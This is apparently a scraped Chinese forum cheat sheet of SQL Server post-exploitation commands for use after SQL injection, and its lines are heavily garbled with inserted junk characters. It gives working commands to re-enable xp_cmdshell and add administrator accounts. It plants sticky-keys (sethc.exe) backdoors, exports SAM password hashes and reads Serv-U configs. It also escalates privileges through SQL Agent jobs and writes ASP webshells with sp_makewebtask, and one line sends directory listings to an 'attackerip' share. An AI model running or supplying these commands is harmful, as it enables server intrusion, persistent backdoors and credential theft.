1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
0 j% }5 _; R& ]% k恢复方法:查询分离器连接后,5 I! \( |7 I" i1 L j i9 L/ k% A
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
4 V2 U6 y/ `7 ^( Z) c: g第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' + z1 k- G* Z% U6 M% b: G' F# h8 b1 O
然后按F5键命令执行完毕) u$ ?* G& B1 |' w8 F6 z/ J
5 _% s- m8 X5 d/ |* y# m
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
& ?( O" p+ S& e, x) r# P恢复方法:查询分离器连接后,7 S4 i) W3 v& S7 r1 y
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
' G4 Q6 O- e: c' ^% \+ A0 I第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
4 e" D7 T9 i* A, \% q然后按F5键命令执行完毕
) e/ o' E/ t( k1 N- c0 `
. b; L2 N" k; E+ i3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。); ]3 n6 r. i2 [8 M
恢复方法:查询分离器连接后,
& A- k/ H4 c' C6 u. L+ K第一步执行:exec sp_dropextendedproc 'xp_cmdshell'" y0 M2 Z9 K0 | ^' |+ l
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
. l# m) b) L, Q7 T' s6 V然后按F5键命令执行完毕
* e. g! C: I0 N, p
0 p/ o6 ]( d7 I) Z4 终极方法.
7 R8 @: h5 Q) H" T y: r. ^如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
3 M, h0 H" p, k O查询分离器连接后,9 j! ^4 M% } k, q$ A
2000servser系统:
. G. j: F1 `- }declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
, a6 {1 F7 o- S) J+ B, h! K) U. }; d2 M, G9 O* S- e d: N: G/ _
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
* n9 ^/ h% A- a
. f3 C2 k1 c( E8 [4 bxp或2003server系统:1 z( g6 K1 |* X$ t/ Z
2 i1 p9 ]/ ~1 ~- m. ^declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
) s( Q/ E& J5 o1 Q/ e
7 f9 K( p' o3 G7 j( t2 ideclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
s- f! }+ j" v2 D/ H( t6 [1 M# t
/ ?. w7 c) E P3 Y% F+ Z! q( B3 G O' F) {" X
五个SHIFT8 Y( m1 R' f$ u( b
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
& f2 @# q& t, M
, f' Y* k2 W! [0 r% u* B, ]+ tdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
# U2 {& X) j" N+ m- H1 O: M" S( k5 f8 a: N7 X2 u3 @
xp_cmdshell执行命令另一种方法
* O! _" f* B6 ]" x# jdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' , G, B& P' q/ k2 d9 e; L7 O3 Z; A
& E: B3 S; _8 U
判断存储扩展是否存在: C& m# ^# w1 ]2 C
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
# p, n" C& W9 ~8 l返回结果为1就OK
1 v0 U5 m/ j) }5 s5 A/ n {0 ~. S/ f0 e& g
& V9 U! i0 O) O0 F; _% D" F上传xplog70.dll恢复xp_cmdshell语句:2 D% L; E0 C$ D
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
0 l5 B: L# E$ U2 D: \) O3 N; R# E. {: [* L3 @; |6 F
否则上传xplog7.0.dll
0 O# d6 u3 X9 f4 S: l! ]Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
1 ^; p2 w7 B2 o( m# h9 ?8 F+ l
* j# z+ P% ^ F' Q1 x3 Q# n9 y: H. z( z6 X
7 k% @" j y3 z+ [首先开启沙盘模式:$ V$ f- o- ~) q/ ?
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
' _0 m# o& L/ X; Y! i& [0 R( N/ D8 L
然后利用jet.oledb执行系统命令0 b0 q G9 s6 w( Q
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')% I# K- G* j w( R
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
% ^0 D# @. t* K! X% N: ?- p D2 @8 J O9 M* A% a: R
8 b. O4 ?! \/ C' j1 e o
. e1 B: C# l+ ]( X: S4 ~% q恢复过程sp_addextendedproc 如下:
3 k6 o, ?! y8 z/ y! d( T) o' v$ V& {* Bcreate procedure sp_addextendedproc --- 1996/08/30 20:13
7 e" l4 F/ D! _/ d5 w$ d@functname nvarchar(517),/* (owner.)name of function to call */
4 m6 c- G; F) K& x@dllname varchar(255)/* name of DLL containing function */ ) t: s, A2 X; T9 i' k/ t5 t
as 6 K3 K$ t; N0 L
set implicit_transactions off
6 {5 u8 |( F# v8 {+ N& Fif @@trancount > 0
7 l, M4 G5 E* t" F. Gbegin
7 V: z3 Y3 B' r4 Q |raiserror(15002,-1,-1,'sp_addextendedproc')
A F: s/ ]2 [3 _+ L3 p* Mreturn (1) + K6 p4 n( t+ }6 a
end ) ? y# j: y8 ]% u' Y2 m
dbcc addextendedproc( @functname, @dllname)
& r) w( @3 C' T0 o) Wreturn (0) -- sp_addextendedproc ; `& B* a. C- s( T! q3 T& X/ {* p
GO 3 {6 \/ W N( n8 Y) j4 b
9 Z! Z, H' ]9 h, @! U& s* x8 @4 A, U9 J: [
/ D3 p4 j8 w7 Z% y+ u% v+ L( F: T
导出管理员密码文件2 l* ^4 x; |- J( ^, q) ^, \* L
sa默认可以读sam键.应该。
% f, F" q2 F& u& {+ oreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg+ ~' w, N" ^7 d7 Z/ u: q! h7 a
net user administrator test$ e, A7 z0 h9 N' f) ~. y" L
用administrator登陆.( w# I! w: ^, `. C/ ]) C
用完机器后0 b D( V* C) y h+ R
reg import c:\test.reg
|0 {# {& U9 o1 z; r k根本不用克隆.. x! x9 ~& F7 p7 E
找到对应的sid. # O9 a- O" K' ^) ] j
* U2 _) e8 O6 z" U Q5 T5 f
& _: F5 h3 B5 Y5 F; g3 N/ W
_4 |" \( Q# U$ C- [恢复所有存储过程2 B' s9 o9 g. s/ E" p/ ~9 M
use master
/ o: V' k9 I3 c: C: a% M* Qexec sp_addextendedproc xp_enumgroups,'xplog70.dll' 0 C. a" E5 n; q
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
3 G: W) M& ~5 X* _( ? g& iexec sp_addextendedproc xp_loginconfig,'xplog70.dll' 7 R. ~; f6 e% K2 y; t$ p
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' " u+ a5 \* ^% [# h, k
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' ; g% b1 ~4 Z. g! w
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
( `7 i+ r9 ~, W7 a @3 hexec sp_addextendedproc sp_OADestroy,'odsole70.dll'
; q( u7 p* J% @- u& r0 g7 ?5 ?exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' 8 }, \& x& w8 X: C- d) o: `
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
7 v7 ~, F# D+ Z0 uexec sp_addextendedproc sp_OAMethod,'odsole70.dll'
6 J% Z9 p+ R! f$ `# B4 V, g* jexec sp_addextendedproc sp_OASetProperty,'odsole70.dll' 7 J2 H+ v& g/ X: H5 {
exec sp_addextendedproc sp_OAStop,'odsole70.dll' ( v8 E" X6 S" Z' d
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 1 l% n% e* [5 w, J7 }
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
! q1 H! l5 c) A% \: i) S1 t# jexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' / B8 q6 v1 \5 E- [7 k$ v) O3 g; `
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
, S5 I3 O' ?5 `6 v7 ]) `exec sp_addextendedproc xp_regread,'xpstar.dll'
$ E. |2 {* r" w' ~# T( b4 F6 s7 hexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' # A2 \& p0 p5 E# k- w! V$ ^! i
exec sp_addextendedproc xp_regwrite,'xpstar.dll' $ N/ Y5 A( D7 @9 p, d1 V7 U
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'0 ]% N3 X0 U1 J
$ X' H& @, S7 h9 d0 a
5 V5 M4 A: Y* I2 U3 c4 N D建立读文件的存储过程( d6 W( {3 q2 y7 Y1 l7 V4 v; F
Create proc sp_readTextFile @filename sysname! o9 ~5 |- q" H, Q: g8 }% l
as1 a% j( K% _; |) f: l
6 w( j& b* a' D& v+ P# F& d; L begin $ Q6 `, D9 W" P; P2 s
set nocount on * E& `4 X w, h# d! f
Create table #tempfile (line varchar(8000))
. B6 c2 \/ c' o9 ?! Y7 ?. D exec ('bulk insert #tempfile from "' + @filename + '"')
( Z% l* N5 U- f- a! H' _. J select * from #tempfile+ d( x3 X+ Y! P @ E t) u& d4 K
drop table #tempfile
! i# _& P# }1 o0 `: ~End
& D0 M/ I5 O' y# |4 _- o: L" W; s! Z- m
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件4 i! s$ P6 E$ s) a _3 ~
查看登录用户
. L% Z/ e2 Q1 n5 P% J( LSelect * from sysxlogins1 M6 R2 y* K, E% ], j3 ~
, V( z7 W( f3 e& ^/ I- G
把文件内容读取到表中
: y( B3 x4 Z* S# ^2 I0 HBULK INSERT tmp from "c:\test.txt"
! o6 A6 Y2 ?3 b; |dElete from 表名 清理表里的内容0 I/ |. N# c) k! O& u0 G
create table b_test(fn nvarchar(4000));建一个表,字段为fn3 D' W# O) s/ y% r
+ I2 m3 l/ b/ R1 L, v4 e* j5 M3 y
: R4 F+ s2 ~ E加sa用户
: T6 O& S6 q4 s- Cexec master.dbo.sp_addlogin user,pass;
7 g: ^* L; h% eexec master.dbo.sp_addsrvrolemember user,sysadmin) O" ^0 j6 ]) H
# m, D- C3 f0 _
: ]. g* g X+ d. x
6 H( d# Y# A# H5 X" G读文件代码5 z5 q+ q9 ^$ o" X$ S
declare @o int, @f int, @t int, @ret int; M5 {1 e2 O# y$ j5 c& C; h6 T1 j
declare @line varchar(8000)
) V- N1 d) t( x4 S& Eexec sp_oacreate 'scripting.filesystemobject', @o out
" J: n5 Z# z9 T1 O" ^6 wexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1- J$ O6 Q: Q r2 |& }! s: N
exec @ret = sp_oamethod @f, 'readline', @line out3 ^, V8 \9 e4 a: O
while( @ret = 0 )
; F, F7 w1 w. N# r& L5 o; wbegin
i- P5 b9 [. V/ a* lprint @line# F' }- _4 f2 x1 g! A! }
exec @ret = sp_oamethod @f, 'readline', @line out" O% k5 u5 T& f( ?( m5 u3 g9 f" ^* H
end2 o4 W( F6 w4 q/ s5 u- n) f
( z) D) n) a$ V; n. t# t* F
% [2 M, [5 P9 l# w
写文件代码:5 g3 z( O) v! I% I; G
declare @o int, @f int, @t int, @ret int
! a: K+ m& u" F: {$ wexec sp_oacreate 'scripting.filesystemobject', @o out
G0 v# N8 n7 g9 pexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
! ~" o' ]+ Y& X5 _* M- L' h" mexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》& G; M7 S4 B: s% [
+ A" k0 m$ ?8 `2 A3 A; ]
" @( r( E- p8 g$ U. t z$ i4 _
添加lake2 shell0 ?5 q4 C/ K. S: g
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'+ y- U. `' l* d
sp_dropextendedproc xp_lake2
1 n. q- g- G) e: K7 \- \EXEC xp_lake2 'net user'+ e) y# ]: p- w- p- Z R6 C
' Z% g8 r n7 E* u1 G& O
8 A8 w+ |- J5 [, x2 h0 m. j: c5 }9 B
得到硬盘文件信息
+ k5 l. |1 m- w; `--参数说明:目录名,目录深度,是否显示文件
% k% O9 H8 u! h/ Uexecute master..xp_dirtree 'c:'
+ D4 E6 Q! W0 t) k/ _ Mexecute master..xp_dirtree 'c:',1
5 V" w2 B/ n: k" p$ Cexecute master..xp_dirtree 'c:',1,1 6 f1 |7 B! x4 s; _8 m$ u
( x! Q; N% W( V7 q( B
7 }; b+ S1 X2 K& d' @8 d. A读serv-u配置信息
~. ?, h& K& }: b& ^/ F2 m& Bexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
3 h4 @! j6 x. ~7 Bexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'! W" R. c& e+ Y9 }
1 t& h; |) t! e% u
通过xp_regwrite写SHIFT后门/ Y0 r' P# w4 W. w8 e; m' ~
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
+ J& t) N4 Q0 S1 \) F5 F% U, c4 x- n; ?
' ]0 J5 \3 }4 [4 G' r
& Y8 j7 i' d" {" Q, R找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';4 l( ^: {# R* z: P2 U! R
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了' q- H3 G% T6 W# J4 l4 z! t: x
" U1 |4 z& n6 [- uEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表', g0 G7 |# a i8 ^+ N2 ~6 d
0 U- k1 E( H# K' l
9 `; S& a7 h& k' V/ H" R4 Z( k! `- U
sql server 2005下开启xp_cmdshell的办法
+ u7 y: O$ {7 ^4 s, b- l4 h, l( E/ |! w s! D5 s
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;; ~7 m( b8 q- c
3 J$ W4 C) M" Y( x" V
SQL2005开启'OPENROWSET'支持的方法:
2 ^5 K# E! p: W4 M( m
( l$ ~* L9 b1 p \* d1 F1 P! k$ Uexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
, U. M8 g2 Z: d% F
, ~* n2 V) x3 t/ V/ j. ]# @9 DSQL2005开启'sp_oacreate'支持的方法:
) F) Z. m/ @0 ?8 J5 g4 m) }0 _
3 e4 H6 ?4 k. b0 Q* i% fexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
/ S$ D9 B% u# c1 h' }+ _$ J( J1 c2 c1 Z9 U% y. ]& K# }
/ q! K6 c. d# O
) z0 S- i- j. a0 D7 C, ]% Q' {) {) t
: U c4 [7 O& Q' m( O1 ^' q( U3 l: ~2 |# [% W
( x/ A2 H% h {2 [! M! z$ I" C6 z$ e$ D L6 r3 @" d: v# m6 t; l3 T
( r% T' B' n! w7 B
5 Y0 | Z9 j: s; D
; l% n& N6 C6 ]% H
' ]( [: l. f$ K7 M- a- r7 D" U5 B1 b
9 m+ C5 J( P6 E0 n
& r' }2 j2 k( I0 p/ I5 B$ a
; `2 I0 a; w6 ?0 C4 b3 h4 T! u9 N3 ]1 f, ?. p. ?' R
, E* b$ A$ W3 Y( p2 O' l
; C7 u3 d+ H! j9 \: D
- F0 v; N0 T; d, t
c. \- l* }* l% k0 X* C; M7 w4 `- D9 }* V0 K; h
. C1 {% F6 H2 h( f4 K8 I0 J
, G i8 ~# l4 a; J( }以下方面不知道能不能成功暂且留下研究哈:* r ^+ Z7 \# t! w" h
4)
* \7 Q0 N; A% ^# Y- `use msdb; --这儿不要是master哟$ \# f* p" C! e) k V9 j
exec sp_add_job @job_name= czy82 ;0 R+ k8 \1 E2 ]
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;& g. [* k- L* p. C) A# C' _7 n
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;8 \* u( s3 P* M$ t- P
exec sp_start_job @job_name= czy82 ;# ~- H$ |& c, c
R4 i3 f& N5 E利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
( u/ U" U0 a/ Y ~9 K执行tsql语句了.
: o4 E" X3 T( d0 m! r( r对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名' Z: X9 O, ~; A/ t& z' d! I1 c8 v
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)5 W0 ~0 }$ [# M" Q7 q1 ]4 Q
net start SQLSERVERAGENT$ K: Y( y) X" ?# j j% c6 O
+ C4 W/ _: b* j2 F+ \. d; O3 v
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
9 |2 m3 Q; D i/ j+ pUSE msdb
* x; C" j, W8 `+ B. `% }" rEXEC sp_add_job @job_name = GetSystemOnSQL ,
7 Y+ M6 e! |! n( u1 X5 a@enabled = 1,5 n4 ? c% `$ g/ V
@description = This will give a low privileged user access to) z5 m$ Q% L# B# O% O: g) i2 W
xp_cmdshell ,
; f$ n- ~, g& W8 ?" F4 V5 W& S/ r \2 o@delete_level = 1
7 K" B4 @; ^$ N- w% j vEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,# t( M5 n* ~4 T J# v
@step_name = Exec my sql ,6 O: `( p6 g9 l. c, X8 `
@subsystem = TSQL ,
. m9 b Z3 o% A2 }9 `@command = exec master..xp_execresultset N select exec: H4 B! s9 m+ J+ ]2 u! W* g
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master ) E& R6 |. ~7 Q9 p
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,6 C7 K. |! s* a3 t$ I3 r
@server_name = 你的SQL的服务器名
$ H. W7 t" ~1 H4 s% `5 KEXEC sp_start_job @job_name = GetSystemOnSQL " x- {! r' y) D1 s% Q6 J
) s e0 A7 K% b. D$ ^0 `
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以 w( U, k/ k- |" Z4 m, b" x5 w
才让我们可以以public执行xp_cmdshell, |" Q0 }( N) h' j. i3 v
" { P3 c9 S9 ?: I5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
% \' a, \( _8 w: V) A7 D+ r在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
. T! O. k" [9 E+ V; f6 r4 E& q/ z% _
USE msdb7 |3 k y" i8 {& K; W
EXEC sp_add_job @job_name = ArbitraryFilecreate ,( J/ i- w. G- W6 t
@enabled = 1,
5 G: k3 z1 K3 f@description = This will create a file called c:\sqlafc123.txt ,
. c4 {( m; \) n3 I/ j@delete_level = 1
' ]6 O' J; r$ v7 WEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,, b( R$ Z9 U# L6 ~
@step_name = SQLAFC ,8 f9 j0 t# Y" b! i' `5 P
@subsystem = TSQL , K8 C, {, a2 m1 L
@command = select hello, this file was created by the SQL Agent. ,) b6 B9 h& A) K; Y8 F- j/ [ Z* z
@output_file_name = c:\sqlafc123.txt
2 i, z! H. ~: Y/ @EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,0 H0 R% H0 E) D6 H, T) G& M& j
@server_name = SERVER_NAME 6 @4 K4 U6 _/ m' f. u
EXEC sp_start_job @job_name = ArbitraryFilecreate . M6 I* e/ Y6 w8 }
" i. q. @0 o$ ^9 Q; ?& b' a如果subsystem选的是:tsql,在生成的文件的头部有如下内容; r+ w) @' q, K2 ]% x8 m8 L
& I3 a3 s* Y7 m8 P5 t
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
( n. @9 o8 ] _----------------------------------------------! ?$ @) R( Q k" `9 }
hello, this file was created by the SQL Agent.' L; q) Z1 t7 A8 ~- l) ~# S
' k" c5 Q+ f9 R# _+ }8 a, d7 m(1 ?????)
% A8 I) _/ X# k* {; p
% B: a; S: Z- ^+ o- l+ h s \' \所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员- b) F( }2 ?! o8 x6 D; T
命令的vbs文件到启动目录!
$ d3 g2 }+ D ^- m- [4 D" |& U9 I8 }) q: G
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)( q" o" a3 E, ^) r; H$ K* B2 W
关于sp_MScopyscriptfile 看下面的例子
- d$ E, r& [7 bdeclare @command varchar(100)
, E. e4 p- B. x/ r; z) h0 g4 Bdeclare @scripfile varchar(200) 3 n) a; e! }" h$ V2 k! O8 [
set concat_null_yields_null off 4 z& M$ B2 y* _9 M% F* e
select @command= dir c:\ > "\\attackerip\share\dir.txt" % F. N4 B8 [) o! S) X' f' |# _
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
+ }) g y5 x" `* q5 j pexec sp_MScopyscriptfile @scripfile , $ K1 i1 O7 A$ c& C
* w+ T4 p7 [2 q; }; o
这两个东东都还在测试试哟
8 ]% R8 Z+ ~/ ]/ O2 T. X让MSSQL的public用户得到一个本机的web shell
; N8 D" R1 b8 [% A) w f, \0 ]
3 D9 b9 a5 m7 k1 ksp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,6 a0 I% n6 R& Y c7 P
--@query= select <img src=vbscript:msgbox(now())>
- i, [; e1 d: V7 R8 ]$ |1 H--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
E& Y0 |: O# d# m" Y+ n& U@query= select 1 I9 G' w" ]5 C. `+ V. u
<%On Error Resume Next
* o7 H D9 x. TSet oscript = Server.createObject("wscript.SHELL") + Y6 Q( \3 O3 B, J3 [) l
Set oscriptNet = Server.createObject("wscript.NETWORK") ! U# ~* y, m# k4 T) V. }; @* r$ c
Set oFileSys = Server.createObject("scripting.FileSystemObject")
8 c2 }6 @0 \+ }& W1 u# t# Z uszCMD = Request.Form(".CMD")
* e9 O* P/ ?3 l1 Z3 y. _& S; FIf (szCMD <>"")Then ; T7 B- b7 @0 R- s% X9 a1 X
szTempFile = "C:\" & oFileSys.GetTempName() & _) l# r6 N; o/ R
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
, B# Y8 s# Q, y6 d' i7 `8 sSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
8 r) T. Q5 @$ v9 kEnd If %>
/ S2 E1 s& b/ V3 }<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
5 J+ V. _: b4 ^# S3 l; E6 ], `<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> ; Y# ]1 M: z: x% t. @9 x+ N( o
</FORM>< RE> m+ M* e$ Z; O# i
<% If (IsObject(oFile))Then ! b' D( W2 b1 K1 P7 q" q
On Error Resume Next
/ g) X5 i7 T# c l# C. q2 ^Response.Write Server.HTMLEncode(oFile.ReadAll)
) D: k; W& T' A8 s" X; B- uoFile.Close
( m3 }6 D/ D8 YCall oFileSys.deleteFile(szTempFile, True) 7 o, h$ I( p' t1 e
End If%>
- v2 [" I1 r, ~: g4 E4 z% M</BODY></HTML>
3 w3 M" h: h8 x* e8 J k8 D% F |